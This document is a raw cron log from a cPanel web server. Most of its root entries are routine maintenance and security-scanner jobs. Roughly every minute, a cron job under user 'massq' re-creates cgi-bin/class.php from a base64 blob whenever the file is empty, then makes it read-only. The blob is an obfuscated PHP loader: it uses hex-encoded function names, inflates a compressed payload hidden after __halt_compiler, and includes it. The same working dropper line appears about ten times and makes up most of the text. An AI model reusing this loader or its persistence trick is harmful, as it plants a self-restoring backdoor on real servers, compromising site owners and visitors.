Sep  3 15:53:01 server CROND[29489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:53:01 server CROND[29490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:53:01 server CROND[29491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:54:01 server CROND[29899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:54:01 server CROND[29900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:54:01 server CROND[29901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:55:02 server CROND[30278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:55:02 server CROND[30281]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:55:02 server CROND[30282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:55:02 server CROND[30286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:55:02 server CROND[30283]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:55:02 server CROND[30285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:55:02 server CROND[30284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:56:01 server CROND[31108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:56:01 server CROND[31109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:56:01 server CROND[31110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:57:01 server CROND[31476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:57:01 server CROND[31477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:57:01 server CROND[31478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:57:01 server CROND[31479]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 15:58:01 server CROND[31847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:58:01 server CROND[31846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:58:01 server CROND[31849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:59:01 server CROND[32326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:59:01 server CROND[32325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:59:01 server CROND[32327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:00:01 server CROND[32710]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:00:01 server CROND[32709]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:00:01 server CROND[32714]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 16:00:01 server CROND[32731]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:00:01 server CROND[32734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:00:01 server CROND[32736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:00:01 server CROND[32737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:00:01 server CROND[32728]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 16:00:01 server CROND[32733]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:00:01 server CROND[32735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:01:01 server CROND[1197]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 16:01:01 server CROND[1199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:01:01 server CROND[1198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:01:01 server CROND[1200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:01:01 server run-parts(/etc/cron.hourly)[1197]: starting 0anacron
Sep  3 16:01:01 server run-parts(/etc/cron.hourly)[1230]: finished 0anacron
Sep  3 16:02:01 server CROND[1616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:02:01 server CROND[1617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:02:01 server CROND[1618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:03:01 server CROND[2028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:03:01 server CROND[2029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:03:01 server CROND[2030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:04:01 server CROND[2491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:04:01 server CROND[2492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:04:01 server CROND[2493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:05:01 server CROND[2899]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
